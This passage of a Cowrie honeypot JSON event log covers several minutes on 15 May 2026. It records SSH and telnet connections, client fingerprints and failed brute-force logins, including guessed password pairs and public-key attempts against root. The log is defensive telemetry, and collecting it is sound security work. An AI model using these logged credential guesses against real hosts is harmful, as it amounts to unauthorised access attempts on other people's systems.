4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:36.060290Z","src_ip":"176.65.132.215","session":"28365fd46edc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234567","message":"login attempt [solv/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:36.336534Z","src_ip":"80.94.92.184","session":"59036b17c97a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:36.349922Z","src_ip":"176.65.132.215","session":"28365fd46edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:37.437946Z","src_ip":"176.65.132.215","session":"28365fd46edc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:37.731462Z","src_ip":"80.94.92.184","session":"59036b17c97a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52652,"dst_ip":"10.17.0.5","dst_port":23,"session":"69721f56b6cc","protocol":"telnet","message":"New connection: 50.6.8.71:52652 (10.17.0.5:23) [session: 69721f56b6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:38.437953Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52666,"dst_ip":"10.17.0.5","dst_port":23,"session":"53a47c1e57d8","protocol":"telnet","message":"New connection: 50.6.8.71:52666 (10.17.0.5:23) [session: 53a47c1e57d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:41.164903Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52678,"dst_ip":"10.17.0.5","dst_port":23,"session":"863a76932f1f","protocol":"telnet","message":"New connection: 50.6.8.71:52678 (10.17.0.5:23) [session: 863a76932f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:41.423563Z"}
{"eventid":"cowrie.session.closed","duration":33.56823468208313,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:43.587903Z","src_ip":"50.6.8.71","session":"cdbd781aa6a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":37400,"dst_ip":"10.17.0.5","dst_port":23,"session":"1923fee784c6","protocol":"telnet","message":"New connection: 50.6.8.71:37400 (10.17.0.5:23) [session: 1923fee784c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:53:50.709055Z"}
{"eventid":"cowrie.session.closed","duration":31.089430570602417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:02.279480Z","src_ip":"50.6.8.71","session":"74fba1a698f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50498867034912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:04.558798Z","src_ip":"50.6.8.71","session":"289107c86a81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47112,"dst_ip":"10.17.0.5","dst_port":23,"session":"7510af540911","protocol":"telnet","message":"New connection: 50.6.8.71:47112 (10.17.0.5:23) [session: 7510af540911]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:09.413806Z"}
{"eventid":"cowrie.session.closed","duration":39.48663830757141,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:11.854194Z","src_ip":"50.6.8.71","session":"992583fdd203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.133204698562622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:12.556622Z","src_ip":"50.6.8.71","session":"863a76932f1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.783705711364746,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:12.948513Z","src_ip":"50.6.8.71","session":"53a47c1e57d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06446146965027,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:13.502294Z","src_ip":"50.6.8.71","session":"69721f56b6cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.91.64.7","src_port":60021,"dst_ip":"10.17.0.5","dst_port":23,"session":"f26a431aea10","protocol":"telnet","message":"New connection: 45.91.64.7:60021 (10.17.0.5:23) [session: f26a431aea10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:17.345448Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59086,"dst_ip":"10.17.0.5","dst_port":23,"session":"002e0165d439","protocol":"telnet","message":"New connection: 50.6.8.71:59086 (10.17.0.5:23) [session: 002e0165d439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:26.670537Z"}
{"eventid":"cowrie.session.closed","duration":37.67857599258423,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:28.387522Z","src_ip":"50.6.8.71","session":"1923fee784c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":59096,"dst_ip":"10.17.0.5","dst_port":23,"session":"71deebb0e1bc","protocol":"telnet","message":"New connection: 50.6.8.71:59096 (10.17.0.5:23) [session: 71deebb0e1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:32.710231Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44980,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a0e25d8dad1","protocol":"telnet","message":"New connection: 50.6.8.71:44980 (10.17.0.5:23) [session: 0a0e25d8dad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:38.148350Z"}
{"eventid":"cowrie.session.closed","duration":30.983072757720947,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:40.396786Z","src_ip":"50.6.8.71","session":"7510af540911","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":35872,"dst_ip":"159.203.135.109","dst_port":22,"session":"022ef8fa9d80","protocol":"ssh","message":"New connection: 109.237.96.109:35872 (159.203.135.109:22) [session: 022ef8fa9d80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:46.448857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:46.453682Z","src_ip":"109.237.96.109","session":"022ef8fa9d80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:46.628938Z","src_ip":"109.237.96.109","session":"022ef8fa9d80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"petrova","message":"login attempt [root/petrova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:47.112681Z","src_ip":"109.237.96.109","session":"022ef8fa9d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:48.208647Z","src_ip":"109.237.96.109","session":"022ef8fa9d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.992472887039185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:49.337828Z","src_ip":"45.91.64.7","session":"f26a431aea10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.604682683944702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:54:58.275102Z","src_ip":"50.6.8.71","session":"002e0165d439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":42936,"dst_ip":"159.203.135.109","dst_port":22,"session":"60fa4857ae81","protocol":"ssh","message":"New connection: 185.236.22.41:42936 (159.203.135.109:22) [session: 60fa4857ae81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:01.488297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:01.498629Z","src_ip":"185.236.22.41","session":"60fa4857ae81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:01.643685Z","src_ip":"185.236.22.41","session":"60fa4857ae81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23456","message":"login attempt [root/23456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:02.154416Z","src_ip":"185.236.22.41","session":"60fa4857ae81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:03.270082Z","src_ip":"185.236.22.41","session":"60fa4857ae81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.761810302734375,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:06.471957Z","src_ip":"50.6.8.71","session":"71deebb0e1bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.236.163.24","src_port":34533,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cf4724bab32","protocol":"telnet","message":"New connection: 37.236.163.24:34533 (10.17.0.5:23) [session: 9cf4724bab32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:12.306693Z"}
{"eventid":"cowrie.session.connect","src_ip":"148.135.70.18","src_port":47466,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d55e37b7818","protocol":"ssh","message":"New connection: 148.135.70.18:47466 (10.17.0.5:22) [session: 5d55e37b7818]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.137738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.142195Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.214269Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:1b:0e:20:b2:38:b6:ae:e3:ae:15:0f:84:5b:ec:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/Zi2D7h7mVaxZVCwiHgNGUAO0kT4oETZTi55Z5lCRkxoBhyIG+pXPPb/M5J1hrxfQFaLwSunbFNhK64yJeBfS4Uya58h6+0/4SC6XSIJC89O80VocYUuMcpvpxbK6WgnnBUYTqmAIPsFjcfJaxJ2e/45cPUQMFsttkuakFfKzOErlADZkM1I2iaCGb4sX6u63i+scDW4fsBVU1vE0AygiTFYCNRidKljk3+KcZ3BGPZNzQvJ/ZKs8HylHtukMZfAitu4QmvycyuL7Xte5qJmQJeqLh3oySxlw1TkbTv/uaDJ/frX3HulgqDXzneYpZRhT9d93fH5BzbnRYWl16S7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:1b:0e:20:b2:38:b6:ae:e3:ae:15:0f:84:5b:ec:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.532768Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:1b:0e:20:b2:38:b6:ae:e3:ae:15:0f:84:5b:ec:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDN/Zi2D7h7mVaxZVCwiHgNGUAO0kT4oETZTi55Z5lCRkxoBhyIG+pXPPb/M5J1hrxfQFaLwSunbFNhK64yJeBfS4Uya58h6+0/4SC6XSIJC89O80VocYUuMcpvpxbK6WgnnBUYTqmAIPsFjcfJaxJ2e/45cPUQMFsttkuakFfKzOErlADZkM1I2iaCGb4sX6u63i+scDW4fsBVU1vE0AygiTFYCNRidKljk3+KcZ3BGPZNzQvJ/ZKs8HylHtukMZfAitu4QmvycyuL7Xte5qJmQJeqLh3oySxlw1TkbTv/uaDJ/frX3HulgqDXzneYpZRhT9d93fH5BzbnRYWl16S7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.536680Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:ea:ef:3c:7b:e7:9d:9e:54:56:5c:1c:04:08:24:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmxg6pUGznAgKH2wrAcZ0jnjMbVaJolop6ouzaDOmEQF80o22jMJU2Bp1oiCy6kaABHl5vLludZYOxnv22Q3Lc3J9xh0ArHMT9JkEbT20ZVV1fV8gh11GDq8Lu6m980cO1ZV3UQN72HOojOu58tREEODG5POtiBWrjkCg+0FJ1G88h2tl7Q0VhPbHBsYgjWoHzhS6b/MfgZMzA3UmU/SLHB5r3nqOTuQcB+vCwjlb1o35bU2SUovi3c8vfqN6y7aagGKUmm88hSonq2NBOGl+NLG9XTwtuHcz7jv9TswfekOV/8o0PIaLamJSiBVFqfmwYPZndpGWlFzOFSdDw+PDN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:ea:ef:3c:7b:e7:9d:9e:54:56:5c:1c:04:08:24:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.606114Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:ea:ef:3c:7b:e7:9d:9e:54:56:5c:1c:04:08:24:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmxg6pUGznAgKH2wrAcZ0jnjMbVaJolop6ouzaDOmEQF80o22jMJU2Bp1oiCy6kaABHl5vLludZYOxnv22Q3Lc3J9xh0ArHMT9JkEbT20ZVV1fV8gh11GDq8Lu6m980cO1ZV3UQN72HOojOu58tREEODG5POtiBWrjkCg+0FJ1G88h2tl7Q0VhPbHBsYgjWoHzhS6b/MfgZMzA3UmU/SLHB5r3nqOTuQcB+vCwjlb1o35bU2SUovi3c8vfqN6y7aagGKUmm88hSonq2NBOGl+NLG9XTwtuHcz7jv9TswfekOV/8o0PIaLamJSiBVFqfmwYPZndpGWlFzOFSdDw+PDN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.609291Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"93:f3:93:db:ac:06:99:a4:bf:b5:f7:4e:dd:ef:35:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5CBz2/Du0Vf6sNJKn5Ta4KLzTJCvo+FaD96ICcTBnhvJj3UeJMb62v/E1+dFsMkG5FBVXIrqG7gVA+23LDHoWXbfxkdjqevLCn9T/nmNfJzfr9clksnGbglu60XHMlA6nxjX/1NXI2tbmhwZSE5YLw/1rX+m6n+y0EtviZPzH6ORbHTIu4Q1Orh+iZJMHYmf9xY1hecbSBVO6chVHh3+VpgU/8bFGrKJyzCuFBL67Y+afOXZU15T0jNElS09KuhMmppmYQOELgDoUnnCylHWGKFCcO3v6cKQ7U5DH4oe9mqNWO7JtO5JjBdlrBLE9UUkFTfbIpalGJLCkkx+kB/4l","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 93:f3:93:db:ac:06:99:a4:bf:b5:f7:4e:dd:ef:35:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.678061Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"93:f3:93:db:ac:06:99:a4:bf:b5:f7:4e:dd:ef:35:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5CBz2/Du0Vf6sNJKn5Ta4KLzTJCvo+FaD96ICcTBnhvJj3UeJMb62v/E1+dFsMkG5FBVXIrqG7gVA+23LDHoWXbfxkdjqevLCn9T/nmNfJzfr9clksnGbglu60XHMlA6nxjX/1NXI2tbmhwZSE5YLw/1rX+m6n+y0EtviZPzH6ORbHTIu4Q1Orh+iZJMHYmf9xY1hecbSBVO6chVHh3+VpgU/8bFGrKJyzCuFBL67Y+afOXZU15T0jNElS09KuhMmppmYQOELgDoUnnCylHWGKFCcO3v6cKQ7U5DH4oe9mqNWO7JtO5JjBdlrBLE9UUkFTfbIpalGJLCkkx+kB/4l","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.682305Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:12:90:7a:3c:eb:b7:af:59:29:7a:05:b6:03:b7:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDq9ic24BKQFzb1oFBeQ/JxAvBwJOXXPdY6Onc1KhccyX1122jzs9PBqkWBgbJQA1XE4sbn8atHUE6epZwrOemgjU8qA39ZfDEFJjKd6mAL92pvk1YRT7Giog4pEjuYntyyZGJfMXh1LBntw6lwLcvmkYoPQ+Pg9Jsw4+dDqd/JXdPvFPey3ozOBm23+zFuVUpSiK7sVfAnS/D5ARl9Brd3EHTDNTFvpkuZ2HVab6N0PX4bouOTkpP6qZ5p0QqOsKijbayowVi76vcS49lPs7LvqE41LzwHKDOiO6UmbjU1fthfIWx4IWRO7LdTfQCJyctfLiDX0smjaoyCxQMr89v5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:12:90:7a:3c:eb:b7:af:59:29:7a:05:b6:03:b7:03","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.751606Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:12:90:7a:3c:eb:b7:af:59:29:7a:05:b6:03:b7:03","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDq9ic24BKQFzb1oFBeQ/JxAvBwJOXXPdY6Onc1KhccyX1122jzs9PBqkWBgbJQA1XE4sbn8atHUE6epZwrOemgjU8qA39ZfDEFJjKd6mAL92pvk1YRT7Giog4pEjuYntyyZGJfMXh1LBntw6lwLcvmkYoPQ+Pg9Jsw4+dDqd/JXdPvFPey3ozOBm23+zFuVUpSiK7sVfAnS/D5ARl9Brd3EHTDNTFvpkuZ2HVab6N0PX4bouOTkpP6qZ5p0QqOsKijbayowVi76vcS49lPs7LvqE41LzwHKDOiO6UmbjU1fthfIWx4IWRO7LdTfQCJyctfLiDX0smjaoyCxQMr89v5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:55:18.757643Z","src_ip":"148.135.70.18","session":"5d55e37b7818","protocol":"ssh"}
